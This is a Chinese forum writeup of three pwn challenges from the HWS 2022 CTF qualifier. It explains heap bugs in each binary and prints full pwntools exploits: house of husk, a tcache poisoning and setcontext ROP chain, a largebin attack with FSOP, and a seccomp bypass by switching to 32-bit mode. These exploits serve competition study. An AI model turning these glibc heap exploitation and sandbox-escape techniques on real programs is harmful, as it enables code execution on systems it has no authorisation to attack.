首页
社区
课程
招聘
[原创]HWS 2022线上预选赛pwn writeup
2022-1-26 18:57 7978

[原创]HWS 2022线上预选赛pwn writeup

2022-1-26 18:57
7978

送分题

(这题名字就叫送分题)
题目环境2.27
有一次unsortbin attack的机会,而且贴心的帮你泄露出了libc地址
可以通过打global_max_fast,将fastbin的范围扩大,
结合可以分配两个大小很大的chunk,容易想到house of husk覆盖格式化字符串处理函数为onegadget,
但也可以打IO_FILE结构体来做
这里选择用前者
house of husk的详细原理
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
sh = process("./pwn")
# sh = remote("1.13.162.249",10001)
context.log_level='debug'
 
sh.sendlineafter("big box, what size?\n",str(0x1850)) //计算得出
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
# gdb.attach(sh)
 
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
success(hex(libc_base))
success(hex(global_max_fast))
 
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
sh.sendlineafter("(1:big/2:bigger)\n",'1')
 
one_gadget = 0x10a45c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
 
sh.interactive()

peach

堆菜单题
开启了seccomp沙盒机制

另外三个分别是fork,vfork,rt_sigreturn调用

题目用的结构体

1
2
3
4
5
6
struct peach
{
  char name[16];
  _QWORD ptr;
  _QWORD chk_size; // hidword的值作为标识堆块可用的标志
};

题目初始化

菜单循环

可用的操作

add

dele

show

一次性的edit?

显然这里的edit函数没有按照堆块的应有size来修改堆块
存在一个堆溢出漏洞
很容易想到去修改tcache chunk的fd指针来分配free_hook处的内存
主要困难在于泄露libc地址
但是在赛事群里讨论了一下发现这题的解法很多
因为题目给的edit函数在取堆块时还存在一个索引越界问题

这时候就有了一些奇怪的操作空间
目前主要有两种流派的解法:

  1. 正常堆题做法
  2. 利用索引越界和bss段附近的一些特殊数据来绕过题目的一些条件

其中第二种流派里目前已知有两个解法
我在比赛的时候选了第二种流派中的一个解法
希望有大佬教教我正常解法是怎么搞的
以下是我的解法:
注意到在bss段的上方有一个特殊的数据,一个指向自身的指针

即上图的off_202008
并且下方有一个menu字符串指针和edit_flag, 如果可以将这里视为一个chunk来编辑修改,不仅可以在保证一次性的edit函数依然可以使用,
还可以通过局部修改menu字符串来指向程序中含有libc地址的地方来泄露libc地址
并且off_202008+0x18位置是stdin指针,可以满足edit函数的check
但是经过测试,这个字符串地址与含libc地址的地方有3位的偏差,需要爆破3位
(实际上在本地中这个爆破的效率很高,大概只需要几秒就可以成功)
泄露完成后就是一般orw读flag了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
# sh = process("./peachw")
elf = ELF('./peachw')
# context.log_level = 'debug'
context.arch = 'amd64'
 
def add(idx,name,size,content):
    sh.sendafter(b"Your choice: ",b'\x01')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"name your peach  : \n",name)
    sh.sendafter(b"size of your peach:\n",str(size).encode('utf-8'))
    sh.sendafter(b"descripe your peach :\n",content)
    return
def dele(idx):
    sh.sendafter(b"Your choice: ",b'\x02')
    sh.sendafter(b"Index ?\n",str(idx).encode('utf-8'))
    return
def edit(idx,size,content):
    sh.sendafter(b"Your choice: ",b'\x04')
    sh.sendafter(b"Index ? ",str(idx).encode('utf-8'))
    sh.sendafter(b"new size of your peach : \n",size.to_bytes(4,'little'))
    sh.sendafter(b"draw your peach \n",content)
    return
def show(idx,num):
    sh.sendafter("Your choice: ",b'\x03')
    sh.sendafter("Index ? ",str(idx).encode('utf-8'))
    sh.sendafter("lucky number?\n",str(num).encode('utf-8'))
    return
def pwn():
    sh.sendafter(b"like peach?\n",b'yes')
    payload = p64(0xdeadbeef)
    payload += p64(1)
    payload += b'\x20\x20\x20'
    edit(-0x2f,0x100,payload)
    sh.recvline()
    libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3db720
    success(hex(libc_base))
    libc = ELF('./libc/libc-2.26.so')
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext']
    mprotect = libc_base + libc.sym['mprotect']
    read_addr = libc_base + libc.sym['read']
    add(0,'fxxku',0x208,"nothing") #0
    add(1,'fxxku',0x208,"nothing") #1
    add(2,'fxxku',0x208,"nothing") #2
    dele(1)
    payload = b'a'*0x20
    payload += p64(0)
    payload += p64(0x211)
    payload += b'a'*0x200
    payload += p64(0)
    payload += p64(0x31)
    payload += p64(0)
    payload += b'a'*0x18
    payload += p64(0x0)
    payload += p64(0x211)
    payload += p64(free_hook)
    edit(0,0x420,payload)
    add(1,'fxxku',0x208,"nothing") #1
    poprdi = libc_base + 0x0000000000020b8b
    poprsi = libc_base + 0x0000000000020a0b
    poprdx = libc_base + 0x0000000000001b96
    payload = p64(setcontext+53)
    payload += p64(0) * 12
    payload += p64(libc_base) #rdi
    payload += p64(0x1000) #rsi
    payload += p64(0) #rbp
    payload += p64(0) #rbx
    payload += p64(7) #rdx
    payload += p64(0) #
    payload += p64(0x89) #rcx
    payload += p64(free_hook+0xc8) #rsp
    payload += p64(mprotect) #restore rip
    payload += p64(0) * 3
    payload += p64(poprdi)
    payload += p64(0)
    payload += p64(poprsi)
    payload += p64(libc_base)
    # payload += p64(0xdeadbeef)
    payload += p64(poprdx)
    payload += p64(0x100)
    payload += p64(read_addr)
    payload += p64(libc_base)
    add(3,'fxxku',0x208,payload) # 3
    dele(3)
    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read('rax',free_hook,0x30)
    shellcode += shellcraft.write(1,free_hook,0x40)
    sh.send(asm(shellcode))
while True:
    try:
        # sh = process('./peachw')
        sh = remote("1.13.162.249",10003)
        pwn()
        # gdb.attach(sh)
        sh.recvuntil(b'flag{')
        flag = sh.recvuntil(b"}",drop=True)
        break
    except Exception:
        sh.close()
        sleep(0.1)
print(b"flag{"+flag+b"}")
sh.close()


听到群友的另一种方法是,因为程序在开头把flag读入,并且给出了栈地址的低位
同时这个栈地址存储在了bss段,所以可以以其为一个假chunk,来修改栈,将arg[0]覆盖为flag的指针,然后让程序报错打出flag

grape

这道题比赛中没有做出来,今天复现了一下
题目环境2.29
开启seccomp沙盒

漏洞是一个非常明显的UAF

题目的结构体

1
2
3
4
5
struct con
{
  char *ptr;
  _QWORD size;
};

一些初始化操作

可用操作

只能用16次的add,并且使用calloc分配内存,
同时自己做了分配出来的chunk的size字段的检查


dele,存在UAF

show

后门函数

解题思路

largebin attack

高版本又UAF,那铁是搞largebin attack了
后门函数可以让我们对堆中0xa000偏移以内的含地址或为0的内存写一个值
所以可以依靠这个修改chunk的bk_nextsize来打_IO_list_all
现在问题就在于怎么去凑出两个大小相近的大堆块了
程序提供了三种大小的chunk: 0x20,0x110,0x410

 

实测,如果先free填满tcache再合并去做堆布局,次数大概会超一两次
我则是用另外两次后门重新利用了进入tcache的chunk
去修改相邻两个已经进入tcache的chunk的key,再free他们,则可以合并出一个0x820的堆块1
再去free两个0x410的相邻堆块2,之后分配一次0x20的chunk,让tcache内的0x820大小堆块进入largebin,并分割堆块2为0x800大小,
注意这里free两个0x410的相邻堆块得到较小的堆块2前需要提前布置好利用链
然后使用后门,修改堆块1的bk_nextsize
最后再分配一次0x410大小的chunk,完成largebin attack

IO_FILE利用

2.29的libc有以下特点:

  1. setcontext+53以rdx为寻址寄存器,而不是以往版本的以rdi寻址
  2. 有vtable_check,无法将_IO_list_all的vtable直接覆盖为我们的可控地址

对于第一点我们可以先寻找控制rdx的方法
在2.29中的getkeyserv_handle+576位置,有这样一个gadget

1
2
3
mov rdx,qword ptr [rdi+8]
mov qword ptr [rsp],rax
call qword ptr [rdx+0x20]

可以达到控制rdx的目的然后再setcontext
其次是绕过vtable_check
vtable check的详细过程和一般绕过方法
这里的利用是根据这位大佬的博客
FSOP在glibc2.29中的利用
利用的详细见exp

架构切换

题目禁用了open系统调用,但是没有对程序架构做限制,相同的调用号在32位和64位架构下意义不同,所以可以依靠这一点进行绕过.

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
sh = process("./grape")
context.log_level = 'debug'
 
large = b'big'
small = b'medium'
fast = b'small'
def add(idx,scale,content):
    sh.sendlineafter(b"choice >>> ",b'1')
    sh.sendlineafter(b'wanner plant:\n',str(idx).encode('utf8'))
    sh.sendlineafter(b'/ big one?\n',scale)
    sh.sendafter(b' your grape tree:\n',content)
    return
def dele(idx):
    sh.sendlineafter(b"choice >>> ",b'2')
    sh.sendlineafter(b"idx of your tree:\n",str(idx).encode('utf8'))
    return
def show(idx):
    sh.sendlineafter(b"choice >>> ",b'3')
    sh.sendlineafter(b"idx of your tree:\n",str(idx).encode('utf8'))
    return
def backdoor(addr,value):
    sh.sendlineafter(b"choice >>> ",b'666')
    sh.sendlineafter(b"present(s) now!\n",'yes')
    sh.sendlineafter(b'lucky number:\n',str(addr).encode('utf8'))
    sh.sendafter(b"your present:\n",p64(value))
    return
 
for i in range(12):
    add(i,large,'nothing')
for i in range(7):
    dele(i)
backdoor(0x218,0xdeadbeff)
backdoor(0x628,0xdeadbeff)
dele(0)
dele(1)
show(0)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4ca0
success(hex(libc_base))
show(1)
heap_base = u64(sh.recv(6).ljust(8,b'\x00')) - 0x10
success(hex(heap_base))
dele(7)
libc = ELF('./libs/libc-2.29.so')
victim = heap_base + 0x1c90
vtable_after = victim + 0xe0
wide_data_after = vtable_after + 0x28
wfile_vtable = 0x1e6020 + libc_base
getkeyserv_handle = libc_base + 0x150550
setcontext = libc_base + 0x55e35
mprotect = libc_base + 0x117590
read = libc_base + libc.sym['read']
poprdi = libc_base + 0x0000000000026542
poprsi = libc_base + 0x0000000000026f9e
poprdx = libc_base + 0x000000000012bda6
payload = p64(0xdeadbeef) * 0x2
payload += p64(0xdeadbeef) * 0xe
payload += p64(0) * 5
payload += p64(wide_data_after) # codecvt
payload += p64(vtable_after) # _wide_data
payload += p64(0) * 6
payload += p64(wfile_vtable+0x48) #vtable
payload += p64(1) # wide_data :: read_ptr
payload += p64(0) # wide_data :: read_end
payload += p64(0) # wide_data :: read_base
payload += p64(1) # wide_data :: write_base
payload += p64(0) # wide_data :: write_ptr
payload += p64(0)
payload += p64(wide_data_after+0x10)
payload += p64(0) * 2
payload += p64(getkeyserv_handle)
payload += p64(0)
payload += p64(setcontext)
payload += p64(0) * 8
payload += p64(libc_base) # rdi
payload += p64(0x3000) # rsi
payload += p64(0) # rbp
payload += p64(0) # rbx
payload += p64(7) # rdx
payload += p64(0) #
payload += p64(0) # rcx
payload += p64(wide_data_after+0xc0) # rsp
payload += p64(mprotect) # restore rip
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(libc_base)
payload += p64(poprdx)
payload += p64(0x300)
payload += p64(read)
payload += p64(libc_base)
add(12,large,payload)
dele(12)
dele(8)
add(13,fast,'for split')
dele(10)
io_list_all = libc_base + 0x1e5660
backdoor(0x228,io_list_all-0x20)
add(14,large,'exploit')
gdb.attach(sh,'b *$rebase(0x15d7)\n')
sh.sendlineafter(b"choice >>> ",b'999')
success("heap addr : "+hex(heap_base))
shellcode = shellcraft.amd64.linux.mmap(0x410000,0x1000,7,0x32,0,0)
shellcode += shellcraft.amd64.linux.read(0,0x410000,0x1000)
shellcode += '''
    mov rsp,0x410f00
    mov dword ptr [rsp+4],0x23
    mov dword ptr [rsp],0x410000
    retf
'''
sh.sendafter("grapes~Bye!\n",asm(shellcode,arch='amd64'))
sleep(1)
shellcode = shellcraft.i386.linux.open('./flag')
shellcode += '''
    mov dword ptr [esp+4],0x33
    mov dword ptr [esp],0x410100
    retf
'''
shellcode1 = shellcraft.amd64.linux.read(3,0x410300,0x100) + shellcraft.amd64.linux.write(1,0x410300,0x50)
shellcode = asm(shellcode,arch='i386').ljust(0x100,b'\x90')
shellcode1 = asm(shellcode1,arch='amd64')
sh.send(shellcode + shellcode1)
sh.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回